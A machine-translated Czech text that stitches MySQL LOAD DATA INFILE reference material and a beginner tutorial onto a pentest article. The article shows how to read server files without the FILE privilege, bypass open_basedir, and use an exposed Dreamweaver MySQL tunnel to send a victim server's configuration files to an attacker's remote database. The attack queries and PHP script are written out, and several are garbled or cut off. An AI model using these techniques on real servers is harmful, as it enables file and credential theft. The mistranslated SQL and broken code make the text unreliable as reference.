mysql> NAČTE DATOVÝ VSTUP "data.txt" DO TABULKYnázev_tabulky-> POLE UKONČENÁ 1,1 UZAVŘENÁ "" -> ŘÁDKY UKONČENÉ"n";
Jakékoli možnosti, které určují oddělovače řádků a sloupců, mohou mít jako argumenty prázdné řetězce ("). Pokud argumenty nejsou prázdné řetězce, pak hodnoty pro FIELDS ENCLOSED BY a FIELDS ESCAPED BY MUSÍ být stejné. Argumenty pro FIELDS TERMINATED OPTIONS BY , ŘÁDKY ZAČÍNÁJÍCÍ A ŘÁDKY UKONČENÉ BY mohou mít více než jeden znak. Například pro zápis řádků oddělených znakem konce/odřádkování nebo pro čtení souborů obsahujících takové řádky zadejte ŘÁDKY UKONČENÉ „rn“.
Chcete-li číst soubor oddělený řádky se znaky %%, můžete provést následující:
mysql> VYTVOŘTE TABULKU vtipy
-> (a INT NOT NULL PRIMÁRNÍ KLÍČ AUTO_INCREMENT, -> vtipný TEXT NENÍ NULL);

mysql> NAČTE DATOVÝ INFILE "/tmp/jokes,txf DO TABULKY vtipy -> POLE UKONČENÁ "" -> ŘÁDKY UKONČENÉ "\n%%\n" (vtip);
FIELDS ENCLOSED BY ovládá oddělovače polí (uvozovky). Pokud ve výstupu (SELECT... INTO OUTFILE) vynecháte slovo OPTIONALLY, všechna pole budou obklopena znakem uvedeným v ENCLOSED BY. Příklad takového výstupu (s použitím čárky jako oddělovače polí) je uveden níže:
"1", "řetězec","100,20"
"2","řetězec obsahující , čárku","102,20"
"3","řetězec obsahující \" uvozovku","102,20"
"4","řetězec obsahující \", uvozovku a čárku","102.20"
Pokud zadáte NEPOVINNĚ, znak ENCLOSED BY se použije pouze k uvozování polí CHAR a VARCHAR:
1 "struna", 100,20
3,"řetězec obsahující \"citát",102.20
4,"řetězec obsahující \", uvozovku a čárku",102.20
Všimněte si, že výskytům znaku zadaného v ENCLOSED BY v rámci hodnoty pole předchází znak určený v ESCAPED BY. Pokud navíc zadáte prázdnou hodnotu pro ESCAPED BY, je možné, že bude vygenerován soubor, který LOAD DATA INFILE nebude možné správně načíst.
Pokud například ponecháte znak zrušení prázdný, bude výše uvedený výstup vypadat jako níže. Je snadné vidět, že druhé pole na čtvrtém řádku obsahuje za uvozovkou čárku, která se (chybně) objeví jako oddělovač polí.
1 "struna", 100,20
2,"řetězec obsahující , čárku",102.20
3,"řetězec obsahující "citát",102.20
4,"řetězec obsahující ", uvozovku a čárku",102.20
Během psaní se z konce hodnot pole odstraňuje symbol UZAVŘENO, pokud je přítomen. (To platí bez ohledu na to, zda je nebo není zadáno slovo OPTIONALLY. Toto slovo nemá žádný vliv na interpretaci vstupu.) Výskyt znaků ENCLOSED BY, před kterými je znak ESCAPED BY, je interpretován jako součást aktuální hodnoty pole.
Pokud pole začíná znakem ENCLOSED BY, instance tohoto znaku jsou interpretovány jako ukončující hodnotu pole pouze v případě, že za nimi následuje pole nebo sekvence TERMINATED BY. Aby se předešlo nejednoznačnosti, když se znak ENCLOSED BY objeví v hodnotě pole, může být znak duplikován a bude interpretován jako jedna instance znaku. Pokud je například zadáno ENCLOSED BY "", uvozovky se zpracují následovně:
""VELKÝ" šéf" -> "VELKÝ" šéf "VELKÝ" šéf -> "VELKÝ" šéf ""VELKÝ" šéf -> "VELKÝ" šéf
FIELDS ESCAPED BY řídí čtení nebo zápis speciálních znaků. Pokud argument FIELDS ESCAPED BY není prázdný, použije se jako předpona pro následující znaky ve výstupu:

  1. POLE UNIKNUTÁ symbolem.
  2. POLE UZAVŘENÁ symbolem.
  3. První CHARAKTER sekvencí POLE UKONČENÁ A ŘÁDKY UKONČENÉ .
  4. ASCII 0 (které se zapisuje za znak zrušení jako ASCII "0" spíše než prázdný bajt).

Pokud je znak FIELDS ESCAPED BY prázdný, žádné znaky nepředcházejí znaky escape a NULL se vypíše jako NULL, nikoli \N. Pravděpodobně není dobrý nápad ponechat argument FIELDS ESCAPED BY prázdný, zvláště pokud hodnoty datového pole obsahují některý ze zmíněných znaků.
Pokud při zadávání pole FIELDS ESCAPED BY není prázdné, pak když se tento znak objeví v řádku hodnot, je odstraněn a následující znak je přečten doslova jako součást hodnoty pole. Výjimkou jsou sekvence "0" nebo "N" (SYS-PAGE-CONTENT nebo \N, pokud je znak escape "\"). Tyto sekvence jsou interpretovány jako ASCII NUL (null byte) respektive NULL. Pravidla pro zpracování NULL jsou popsána dále v této části.
Více informací o syntaxi zrušení "\" naleznete v sekci Doslovné hodnoty
V některých případech se možnosti, které řídí pole a řádky, vzájemně ovlivňují:

  1. Pokud je pro LINES TERMINATED BY zadán prázdný řetězec a FIELDS TERMINATED BY není prázdné, pak LINES TERMINATED BY je také oddělovač řádků.
  2. POKUD jsou OBĚ POLE UKONČENÁ A POLE UZAVŘENÁ OD prázdná, POUŽIJE se pevný formát řetězce (bez oddělovačů). Tento formát nepoužívá žádné oddělovače mezi poli (ale může mít oddělovač řádků). Místo toho se hodnoty sloupců zapisují a čtou pomocí šířky zobrazení sloupce. Pokud je například sloupec deklarován jako INT(7), hodnoty sloupce se zapíší do pole se sedmi znaky. Po zadání jsou hodnoty sloupců načteny načtením sedmi znaků.

LINES TERMINATED BY se stále používá k oddělení řádků. Pokud řádek neobsahuje všechna pole, zbývajícím sloupcům jsou přiřazeny výchozí hodnoty. Pokud nemáte zakončení řádku, jeho hodnota musí být nastavena na 1". V tomto případě musí textový soubor obsahovat všechna pole na každém řádku. Formát s pevnou délkou řádku se také zabývá zpracováním hodnot NULL, jak je popsáno Je třeba poznamenat, že délka formátu s pevnou délkou nefunguje, pokud je použita vícebajtová znaková sada (například Unicode).
Zpracování hodnot NULL se liší v závislosti na použitých možnostech FIELDS a LINES:

  1. S výchozími hodnotami FIELDS a LINES se NULL zapíše jako hodnota pole jako \N pro výstup a stejná hodnota \N se přečte jako NULL pro vstup (za předpokladu, že znak ESCAPED BY je nastaven na "\")-
  2. Pokud pole FIELDS ENCLOSED BY není prázdné, bude pole obsahující doslovné slovo NULL přečteno jako NULL. To se liší od případu, kdy je slovo NULL odděleno FIELDS ENCLOSED BY znaky, kde je hodnota přečtena jako řetězec "NULL".
  3. Pokud je pole FIELDS ESCAPED BY prázdné, zapíše se NULL jako slovo NULL.
  • Ve formátu s pevnou délkou řetězce (což nastane, když jsou pole FIELDS TERMINATED BY a FIELDS ENCLOSED BY prázdná) se jako prázdný řetězec zapíše NULL. Všimněte si, že to způsobí, že hodnoty NULL a prázdné řádky v tabulce budou při zápisu do souboru nerozlišitelné, protože oba zapisují prázdné řádky. Pokud je potřebujete rozlišovat, nepoužívejte formát s pevnou délkou.
    Níže jsou uvedeny některé případy, které nejsou podporovány funkcí LOAD DATA INFILE:
    1. Opravené řádky LENGTH (FIELDS TERMINED BY A FIELDS ENCLOSED BY nyctye) v přítomnosti sloupců TEXT nebo BLOB.
    2. Pokud zadáte oddělovač, který je stejný jako předpona jiného, ​​nemusí LOAD DATA INFILE správně interpretovat vstupní tok. Problémy způsobí například následující možnost:

    POLE UKONČENÁ "" UZAVŘENO ""

    • Pokud je pole FIELDS ESCAPED BY prázdné, hodnoty polí, které obsahují znaky FIELDS ENCLOSED BY NEBO ŘÁDKY UKONČENÉ BY následované ŘÁDKY UKONČENÝMI ZNAKEM, způsobí, že LOAD DATA INFILE přestane číst soubor nebo řádek příliš brzy. K tomu dojde, protože LOAD DATA INFILE nemůže správně určit, kde končí hodnota pole nebo řádku. Následující příklad načte všechny sloupce tabulky persondata: mysql> NAČTE DATOVÝ VSTUP "persondata.txt" DO TABULKY osobních údajů;
      Ve výchozím nastavení, pokud není na konci příkazu LOAD DATA INFILE uveden seznam sloupců, očekává se, že vstupní řádek bude obsahovat pole pro každý sloupec v tabulce. Pokud chcete načíst pouze některé sloupce tabulky, zadejte seznam sloupců:
      mysql> NAČÍST DATOVÝ INFILE "persondata.txt1
      -> DO TABULKY osobní údaje(coll,col2,...);
      Pokud se pořadí polí ve vstupním souboru liší od pořadí sloupců v tabulce, musíte také zadat seznam sloupců. Jinak MySQL nebude moci vytvořit mapování mezi vstupními poli a sloupci tabulky.
      Pokud má vstupní soubor příliš málo polí v řádcích, budou chybějícím sloupcům přiřazeny výchozí hodnoty. Přiřazení výchozích hodnot je popsáno v syntaxi CREATE TABLE
      Hodnoty prázdných polí jsou interpretovány jinak než chybějící pole:
      1. U typů řetězců je sloupci přiřazen prázdný řetězec.
      2. U číselných typů je sloupci přiřazena 0.
      3. Pro typy data a času - sloupec je nastaven na odpovídající typ
        "nulová" hodnota. Viz Typy data a času

      Jedná se o stejné hodnoty, které vyplývají z explicitního přiřazení prázdného řetězce ke sloupcům těchto typů v příkazu INSERT nebo UPDATE.
      Hodnoty sloupců typu TIMESTAMP jsou nastaveny na aktuální datum a čas, pouze pokud jsou nastaveny na NULL (tj. \N), nebo pokud je sloupec tohoto typu ze seznamu polí vynechán, pokud je uveden seznam polí.

      LOAD DATA INFILE zachází se všemi vstupy jako s řetězcovým vstupem, takže nemůžete použít číselné hodnoty pro sloupce ENUM nebo SET, jak je povoleno v příkazech INSERT. Všechny hodnoty ENUM nebo SET musí být zadány jako řetězce!
      Po dokončení příkazu LOAD DATA INFILE vrátí informační řetězec v následujícím formátu:
      Záznamy: I Smazáno: 0 Přeskočeno: 0 Upozornění: O
      Pokud pracujete s C API, můžete získat informace o tomto příkazu voláním funkce mysql_info().
      Varování, která se objevují za určitých podmínek, jsou stejná jako ta, která se vyskytují při vkládání hodnot pomocí příkazu INSERT (viz oddíl 6.1.4), kromě toho, že LOAD DATA INFILE také generuje varování, že je příliš málo nebo příliš mnoho polí. Upozornění se nikde neukládají, počet upozornění lze použít pouze jako znamení, že vše proběhlo v pořádku.
      Od MySQL 4.1.1 můžete použít SHOW WARNINGS k zobrazení prvních varování max_error_count jako informace o Co Načítání se nezdařilo. Viz Syntaxe SHOW WARNINGS
      Před MySQL 4.1.1 byl pouze počet varování známkou toho, že načítání neprobíhá hladce. Pokud obdržíte varování a chcete přesně vědět, proč se objevilo, jediný způsob, jak to udělat, je použít SELECT...INTO OUTFILE k výpisu tabulky do jiného souboru a porovnat ji s původním vstupním souborem.

Navigace v tutoriálu: 1.1 Co je MySQL? 1.2 Proč používat MySQL? 1.3 Jak stabilní je MySQL? 1.4 Jak velké mohou být tabulky MySQL? 1.5 MySQL, MySQL AB, MySQL-MAX: co to je? 1.6 Na jakých operačních systémech MySQL běží? 1.7 Distribuce MySQL 1.8 Výzvy příkazového řádku MySQL 2.1 Úvod do MySQL 2.2 Připojení k serveru MySQL 2.3 Zadávání dotazů v MySQL 2.4 Vytváření a používání databází 2.5 Vytvoření databáze MySQL 2.6 Vytvoření tabulky MySQL 2.7 Načítání dat do MySQL Výběr všech dat z tabulky MySQL 2.8 a MySQL tabulka 2.9 Výběr konkrétních řádků z MySQL tabulky 2.10 Výběr libovolných sloupců z MySQL tabulky 2.11 Řazení řádků z MySQL tabulky 2.12 Výpočet dat v MySQL tabulce 2.13 Práce s hodnotami NULL v MySQL tabulce 2.14 Porovnávání vzorů. SQL šablony. 2.15 Počítání řádků v SQL šablonách. Funkce COUNT() 2.16 Použití více tabulek v jedné SQL dotaz 2.17 Získávání informací o MySQL databázích a tabulkách 2.18 Příklady běžných dotazů v MySQL 2.19 Maximální hodnota pro sloupec MySQL 2.20 Do kterého řádku je uloženo maximum určitého sloupce MySQL 2.21 Maximum sloupce ve skupině MySQL 2.22 Který řádek MySQL obsahuje maximální hodnotu pro skupinu? 2.23 Použití uživatelských proměnných v MySQL 2.24 Použití klienta MySQL v dávkovém režimu 3.1 Řádky v MySQL 3.2 Čísla v MySQL. Jak psát čísla v MySQL? 3.3 Hexadecimální hodnoty v MySQL 3.4 Hodnoty NULL v databázi MySQL 3.5, tabulka, index, sloupec a názvy aliasů v MySQL 3.6 Rozlišování malých a velkých písmen v názvech MySQL 3.7 Uživatelské proměnné v MySQL 3.8 Komentáře v MySQL 3.9 MySQL1 Reserved Words 4 Zálohování databází MySQL 4.2 BACKUP TABLE Syntaxe v MySQL 4.3 RESTORE TABLE Syntaxe v MySQL 4.4 CHECK TABLE Syntaxe v MySQL 4.5 REPAIR TABLE Syntaxe v MySQL 4.6 OPTIMALIZACE TABULKY Syntaxe v MySQL 4.7 ANALYZE TABLE v MySQL 4 Syntaxe FLUSH9 Syntax v MySQL4.8 Syntaxe MySQL MySQL 4.10 SHOW Syntax MySQL 4.11 SHOW TABLE STATUS syntaxe v MySQL 4.12 SHOW STATUS syntaxe v MySQL 4.13 SHOW VARIABLES syntaxe v MySQL 4.14 back_log 4.15 character_set, character_sets, zpožďování_concurrent_64_vložení_klíče_7ert 4.limit _insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4.20 language, log_bin, long_query_time 4.21 small_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_error_sizein4. _length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, netre_buffer_length 4.26 open_files_limit, port, record_buffer 4.28 protocol_version, record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases, skip_show_databases 4.31 waittime_cache4. Syntaxe ESSLIST v MySQL 4.33 Syntaxe SHOW GRANTS v MySQL 4.34 Syntaxe SHOW CREATE TABLE v MySQL 4.35 Soubor možností my.cnf v MySQL 5.1 Typy sloupců v MySQL 5.2 Číselné typy v MySQL 5.3 Typy data a času v MySQL 5. 4 Typy problémů a dat Y2K (2000) v MySQL 5.5 Typy DATETIME, DATE a TIMESTAMP v MySQL 5.6 Typ TIME v MySQL 5.7 YEAR typ v MySQL 5.8 Typy řetězců CHAR a VARCHAR v MySQL 5.9 Typy řetězců BLOB a TEXT v MySQL 5.10 Typ řetězce E v MySQL 5.11 Typ řetězce SET v MySQL 5.12 Výběr správného typu pro sloupec MySQL 5.13 Použití typů sloupců z jiných DBMS pro MySQL 5.14 Požadavky na paměť sloupců MySQL 6.1 Funkce pro použití MySQL v SELECT a WHERE 6.2 Netypovaný operátor Závorky v MySQL 6.3 UntypedSQL operátor v MySQL 6.4 Logické operátory v MySQL 6.5 Funkce větvení v MySQL 6.6 Řetězcové funkce v MySQL

Po vytvoření tabulky je nutné ji naplnit daty. Pokyny a VLOŽIT užitečné pro toto. O tom, jak fungují, si povíme trochu později, ale zatím se zamysleme nad údaji, které je potřeba do tabulky zadat. Jak přesně vypadají?

Předpokládejme, že vaše záznamy o divoké zvěři by mohly být popsány níže. Všimněte si, že MySQL očekává data ve formátu rok-měsíc-den, což se může lišit od toho, na co jste zvyklí. Je lepší zadat rok jako 4 číslice. MySQL má poměrně složitý algoritmus pro správné zpracování dvouciferných hodnot roku, ale na to teď nemusíte přijít, takže zadáme data jednoznačně. Všechny údaje o zvířatech pro náš příklad jsou uvedeny v tabulce 2.2:

Tabulka 2.2. Údaje o zvířatech

název majitel druh sex narození smrt
Načechraný Harolde kočka F 1993-02-04
Načechraný Harolde kočka F 1993-02-04
Drápy Gwen kočka m 1994-03-17
Buffy Harolde Pes F 1989-05-13
Tesák Benny Pes m 1990-08-27
Bowser Diane Pes m 1989-08-31 1995-07-29
Veselý Gwen pták F 1998-09-11
Whistler Gwen pták 1997-12-09
Štíhlý Benny had m 1996-04-29

Protože začínáte s prázdnou tabulkou, nejjednodušší způsob, jak ji zaplnit, je vytvořit textový soubor obsahující řádek pro každé vaše zvíře a poté načíst obsah souboru do tabulky pouze jedním příkazem.

Můžete vytvořit textový soubor pet.txt obsahující jednu položku na řádek s hodnotami oddělenými zarážkami tabulátoru určenými v pořadí, ve kterém byly sloupce uvedeny v příkazu CREATE TABLE. Pro chybějící hodnoty (jako je neznámé pohlaví nebo datum úmrtí u zvířat, která stále žijí), můžete použít hodnoty NULL. Chcete-li je reprezentovat v textovém souboru, použijte štítek. Například záznam o ptáku Whistler vypadá asi takto (pro označení karty používám mezeru):

Pták Whistler Gwen 1997-12-09

Chcete-li načíst data z textového souboru pet.txt umístěného na adrese místní počítač(klient) a nikoli na serveru, do tabulky domácích mazlíčků použijte příkaz LOAD DATA:

Mysql> NAČÍST DATA LOKÁLNÍ VSTUPNÍ SOUBOR "pet.txt" DO TABULKY mazlíček;

Klíčová slova mají následující význam. INFILE definuje řetězec, který je názvem souboru, ze kterého se mají číst data. Vzhledem k tomu, že název je řetězec, je uzavřen v uvozovkách, jinak se jej MySQL pokusí vyhodnotit jako číselný výraz. MÍSTNÍ označuje, že soubor by měl být prohledán na klientském systému a ne na serveru. DO TABULKY přikazuje načíst data do tabulky, jejíž název je uveden bezprostředně za slovem TABLE (oddělené mezerou).

Pokud chcete, můžete v příkazu explicitně určit oddělovač hodnot sloupce a značku konce řádku, ale výchozí hodnoty jsou tabulátor a odřádkování. Ke správnému přečtení souboru pet.txt stačí a víc teď nepotřebujete.

Když chcete přidat nové položky jeden po druhém, je tento pokyn užitečný VLOŽIT. V nejjednodušší podobě poskytujete hodnoty pro každý sloupec v pořadí, v jakém byly sloupce uvedeny v příkazu CREATE TABLE. Řekněme, že Diane dostala nového křečka, Puffball. Nový záznam můžete přidat pomocí příkazu INSERT, něco takového:

Mysql> INSERT INTO pet
-> VALUES ("Pýchavka","Diane","křeček","f","1999-03-30","NULL");

Klíčová slova zde také nejsou nijak zvlášť složitá. INTO pet určuje, do kterého stolu vložka půjde. HODNOTY určuje seznam vložených hodnot pro nový záznam ve stole. Hodnoty jsou uvedeny oddělené čárkami a všechny společně v závorkách.

Všimněte si, že řetězce a hodnota data jsou definovány jako řetězce. Hodnotu NULL můžete vložit přímo (nikoli jako řetězec), abyste reprezentovali absenci hodnoty.

Z tohoto příkladu můžete vidět, že načítání přímo do tabulky by vyžadovalo docela dost psaní. Návod ušetřil spoustu času.

Popisuji celkem běžnou situaci. Během pentestu byl získán přístup k phpMyAdmin na vzdáleném hostiteli, ale nebylo možné přes něj přistupovat k souborům. Na vině je notoricky známý příznak FILE_PRIV=no v nastavení démona MySQL. Mnoho lidí to v této situaci vzdává a věří, že soubory na hostiteli již nelze tímto způsobem číst. Ale není tomu tak vždy.

VAROVÁNÍ

Veškeré informace jsou poskytovány pouze pro informační účely. Redakce ani autor nenesou odpovědnost za případné škody způsobené materiály tohoto článku.

Předehra

Pokud jde o interakci MySQL DBMS se systémem souborů, obvykle si pamatují:

  • funkce LOAD_FILE, která umožňuje číst soubory na serveru;
  • konstrukt SELECT ... INTO OUTFILE, který lze použít k vytvoření nových souborů.

Pokud tedy máte přístup k phpMyAdmin nebo jinému klientovi na vzdáleném počítači, pak s vysokou pravděpodobností můžete přistupovat k systému souborů přes MySQL. Ale pouze pokud je v nastavení démona nastaven příznak FILE_PRIV=yes, což není vždy případ. V tomto případě musíme pamatovat na jiného operátora, mnohem méně známého, ale zároveň s poměrně výkonnou funkčností. Mluvím o operátoru LOAD DATA INFILE, o jehož vlastnostech bude řeč v tomto článku.

Interakce mezi PHP a MySQL

PHP je nejrozšířenějším jazykem pro tvorbu webových aplikací, takže stojí za to se blíže podívat na jeho interakci s databází.

V PHP4 byly klientské knihovny MySQL zahrnuty ve výchozím nastavení a součástí distribuce PHP, takže během instalace jste se mohli z používání MySQL odhlásit pouze zadáním možnosti

Bez mysql.

PHP5 přichází bez klientské knihovny. Na *nix systémech je PHP5 obvykle kompilováno s knihovnou libmysqlclient již nainstalovanou na serveru, jednoduše nastavením možnosti

With-mysql=/usr

při montáži. Avšak až do verze 5.3 se k interakci se serverem MySQL používá nízkoúrovňová klientská knihovna MySQL (libmysql), což je rozhraní, které není optimalizováno pro komunikaci s aplikacemi PHP.

Pro verze PHP 5.3 a vyšší byl vyvinut MySQL Native Driver (mysqlnd) a v nedávno vydané verzi PHP 5.4 je tento ovladač standardně používán. Ačkoli je vestavěný ovladač MySQL napsán jako rozšíření PHP, je důležité si uvědomit, že neposkytuje nové API programátorovi PHP. Databázové API MySQL pro programátora poskytují rozšíření MySQL, mysqli a PDO_MYSQL. Tato rozšíření mohou používat vestavěný ovladač MySQL ke komunikaci s démonem MySQL.

Použití vestavěného ovladače MySQL nabízí oproti klientské knihovně MySQL některé výhody: například nemusíte instalovat MySQL, abyste mohli vytvářet PHP nebo používat databázové skripty. Více informací o MySQL Native Driver a jak se liší od libmysql naleznete v dokumentaci.

Rozšíření MySQL, mysqli a PDO_MYSQL lze individuálně nakonfigurovat pro použití buď libmysql nebo mysqlnd. Chcete-li například nakonfigurovat rozšíření MySQL pro použití klientské knihovny MySQL a rozšíření mysqli pro práci s nativním ovladačem MySQL, musíte zadat následující možnosti:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

LOAD DATA Syntaxe

Příkaz LOAD DATA, jak uvádí dokumentace, čte řádky ze souboru a velmi vysokou rychlostí je načítá do tabulky. Lze jej použít s klíčové slovo LOCAL (dostupný v MySQL 3.22.6 a novější), který určuje, odkud budou data načtena. Pokud slovo LOCAL chybí, server načte zadaný soubor do tabulky ze svého místního počítače, nikoli z počítače klienta. To znamená, že soubor nebude číst klient MySQL, ale server MySQL. Ale tato operace opět vyžaduje oprávnění FILE (FILE_PRIV=příznak ano). Provedení příkazu lze v tomto případě přirovnat k použití funkce LOAD_FILE – pouze s tím rozdílem, že data se načítají do tabulky, nikoli na výstup. Použití LOAD DATA INFILE ke čtení souborů má tedy smysl pouze tehdy, když funkce LOAD_FILE není dostupná, tedy na velmi starých verzích serveru MySQL.

Pokud je však operátor použit v této podobě: LOAD DATA LOCAL INFILE, tedy pomocí slova LOCAL, pak je soubor načten klientským programem (na klientském počítači) a odeslán na server, kde je umístěna databáze. V tomto případě není pro přístup k souborům přirozeně potřeba oprávnění FILE (protože vše se děje na klientském počítači).

Rozšíření MySQL/mysqli/PDO_MySQL a příkaz LOAD DATA LOCAL

V rozšíření MySQL je schopnost používat LOCAL řízena direktivou PHP_INI_SYSTEM mysql.allow_local_infile. Standardně má tato direktiva hodnotu 1, a proto je obvykle dostupný operátor, kterého potřebujeme. Funkce mysql_connect také umožňuje povolit možnost použití LOAD DATA LOCAL, pokud pátý argument obsahuje konstantu 128.

Když se pro připojení k databázi používá rozšíření PDO_MySQL, můžeme také povolit podporu LOCAL pomocí konstanty PDO::MYSQL_ATTR_LOCAL_INFILE (celé číslo).

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Největší možnosti pro práci s operátorem LOAD DATA ale poskytuje rozšíření mysqli. Toto rozšíření také poskytuje direktivu PHP_INI_SYSTEM mysqli.allow_local_infile, která reguluje použití LOCAL.

Pokud je připojení vytvořeno přes mysqli_real_connect, pak pomocí mysqli_options můžeme povolit i zakázat podporu LOCAL. Navíc je v tomto rozšíření k dispozici funkce mysqli_set_local_infile_handler, která vám umožňuje zaregistrovat funkci zpětného volání pro zpracování obsahu souborů načtených příkazem LOAD DATA LOCAL INFILE.

Čtení souborů

Pozorný čtenář již pravděpodobně uhádl, že pokud máme účet v phpMyAdmin, pak můžeme číst libovolné soubory, aniž bychom měli privilegium FILE, a dokonce obejít omezení open_basedir. Koneckonců, velmi často se klient (v tomto případě phpMyAdmin) i démon MySQL nachází na stejném stroji. Navzdory omezením bezpečnostní politiky MySQL serveru můžeme využít toho, že se tato politika nevztahuje na klienta a přesto číst soubory ze systému jejich vložením do databáze.

Algoritmus je jednoduchý. Stačí provést následující SQL dotazy:

  1. Vytvoříme tabulku, do které budeme zaznamenávat obsah souborů: CREATE TABLE temp(text obsahu);
  2. Obsah souboru odešleme do vytvořené tabulky: LOAD DATA LOCAL INFILE "/etc/hosts" DO TABULKY temp POLÍ UKONČENÁ "eof" UKONČENO "" ŘÁDKY UKONČENÉ "eof";

Voila. Obsah souboru /etc/hosts je nyní v dočasné tabulce. Potřebujete číst binární soubory? Žádný problém. Pokud v prvním kroku vytvoříme tabulku takto:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

pak do něj bude možné nahrát binární soubory. Pravda, extra bity budou přidány na konec souborů, ale mohou být odstraněny v jakémkoli hex editoru. Tímto způsobem si můžete stáhnout skripty chráněné IonCube/Zend/TrueCrypt/NuSphere ze serveru a dekódovat je.

Dalším příkladem toho, jak můžete použít LOAD DATA LOCAL INFILE, je zjistit cestu ke konfiguraci Apache. To se provádí následovně:

  1. Nejprve zjistíme cestu k binárnímu souboru; k tomu si přečtěte /proc/self/cmdline pomocí výše popsané metody.
  2. A pak čteme přímo binární soubor, kde hledáme HTTPD_ROOT/SERVER_CONFIG_FILE.


Je jasné, že v této situaci plní skripty phpMyAdmin roli klienta pro připojení k databázi. A místo phpMyAdmin můžete pro práci s MySQL použít jakékoli jiné webové rozhraní.

Skripty můžete použít například k zálohování a obnově databáze. V roce 2007 zveřejnil francouzský hacker pod přezdívkou acidroot exploit založený na této poznámce a umožňující číst soubory z phpBB admin panelu<= 2.0.22.

Tunel je pohodlný. Tunel není bezpečný

Při instalaci složitých webových aplikací je často vyžadován přímý přístup do databáze, například pro prvotní konfiguraci a úpravu skriptů. Proto je v některých případech vhodné nainstalovat na server jednoduchý skript - tzv. MySQL Tunnel, který umožňuje provádět databázové dotazy pomocí pohodlného klienta namísto těžkopádného phpMyAdmina.

Tunelů pro práci s databází je poměrně dost, ale všechny nejsou příliš obvyklé. Snad jedním z nejznámějších jsou skripty serveru Macromedia Dream Weaver. Můžete si prohlédnout zdrojový kód tohoto skriptu.

Hlavním rozdílem mezi MySQL Tunnel a phpMyAdminem je nutnost zadat nejen přihlašovací jméno a heslo k databázi, ale také hostitele, ke kterému se chcete připojit. Tunely jsou přitom často ponechány aktivní, pro každý případ nikdy nevíte, co je ještě potřeba upravit. Zdá se, že je můžete používat, pouze pokud máte účet v databázi - tak proč se bát? Stručně řečeno, zdá se, že tunel nepředstavuje zvláštní bezpečnostní hrozbu pro webový server. Ve skutečnosti ale není vše tak dobré, jak se na první pohled zdá.

Zvažte následující situaci. Nechte server A mít web site.com se zavedeným tunelem http://site.com/_mmServerScripts/MMHTTPDB.php. Předpokládejme, že na serveru A je možné použít LOAD DATA LOCAL (jak bylo uvedeno výše, je to například možné s výchozím nastavením). V tomto případě můžeme vzít vzdálený MySQL server, k jehož databázím lze přistupovat odkudkoli a který umožňuje i použití LOCAL, a připojit se k tomuto serveru pomocí tunelu. Data pro připojení ke vzdálenému serveru MySQL:

DB Host: xx.xx.xx.xxx Název DB: name_remote_db Uživatel DB: náš_uživatel DB Pass: our_pass

V této situaci bude server A hrát roli klienta, a proto můžeme z jeho hostitele posílat soubory do vzdálené databáze nebo jinými slovy číst soubory. S následujícím jednoduchým dotazem:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /cesta/ke/skriptu/nastaveni BYELTABLE_phpt MINDATE INFILE. _"ESCAP ED BY" " LINKY UKONČENÉ "__eof__"

Ve skutečnosti je tato chyba zabezpečení nebezpečnější než běžné čtení souborů: koneckonců vám umožňuje číst konfigurační soubory skriptů nainstalovaných na serveru A. Stejným tunelem již můžete získat přímý přístup k databázi, která tyto skripty spravuje. Technika popsaná výše pro použití svalových tunelů může být mírně zobecněna a aplikována při využívání nesériových zranitelností.


Klient-server

Abychom lépe porozuměli možnostem LOAD DATA, je nutné si uvědomit, že MySQL DBMS používá tradiční architekturu klient-server. Při práci s MySQL vlastně pracujeme se dvěma programy:

  • Program databázového serveru umístěný na počítači, kde je databáze uložena. Démon mysqld naslouchá požadavkům klientů přes síť a přistupuje k obsahu databáze a poskytuje informace, které klienti požadují. Pokud je mysqld spuštěn s volbou --local-infile=0, pak LOCAL nebude fungovat;
  • Klientský program se připojí k serveru a přenese požadavky na server. Distribuce MySQL DBMS zahrnuje několik klientských programů: konzolový klient MySQL (nejběžněji používaný), stejně jako mysqldump, mysqladmin, mysqlshow, mysqlimport a tak dále. A pokud je to nutné, můžete si dokonce vytvořit svůj vlastní klientský program založený na standardní klientské knihovně libmysql, která je dodávána s MySQL DBMS.

Pokud při použití standardního klienta MySQL nemůžete použít příkaz LOAD DATA LOCAL, měli byste použít přepínač --local-infile:

Mysql --local-infile sampdb mysql> NAČÍST DATA LOKÁLNÍ INFILE "member.txt" DO TABULKY člen;

Nebo zadejte možnost pro klienta v souboru /my.cnf:

Local-infile=1

Je důležité poznamenat, že ve výchozím nastavení jsou všichni klienti a knihovny MySQL kompilováni s volbou --enable-local-infile, aby byla zajištěna kompatibilita s MySQL 3.23.48 a staršími verzemi, takže pro standardní klienty je obvykle k dispozici LOAD DATA LOCAL. Příkazy na MySQL server se však neposílají hlavně z konzole, ale ze skriptů, takže jazyky pro vývoj webu mají také klienty pro práci s databází, kteří se mohou funkčností lišit od standardního klienta MySQL.

Tato funkce příkazu LOAD DATA může samozřejmě ohrozit bezpečnost systému, a proto počínaje MySQL 3.23.49 a MySQL 4.0.2 (4.0.13 pro Win) bude možnost LOCAL fungovat pouze v případě, že oba klienti a server to povolí.

Obejít omezení open_basedir

Použití LOAD DATA poměrně často umožňuje obejít omezení open_basedir. To se může hodit, pokud máme například přístup do adresáře jednoho uživatele na sdíleném hostingu, ale chceme číst skripty z domovského adresáře jiného uživatele. Poté nainstalujte tento skript

1)); $e=$pdo->exec("NAČTE DATA LOKÁLNÍ VSTUPNÍ SOUBOR "./cesta/k/souboru" DO POLE testu TABULKY UKONČENO "__eof__" UKONČENO "" ŘÁDKY UKONČENÉ "__eof__"""); $pdo = null; ?>

Závěr

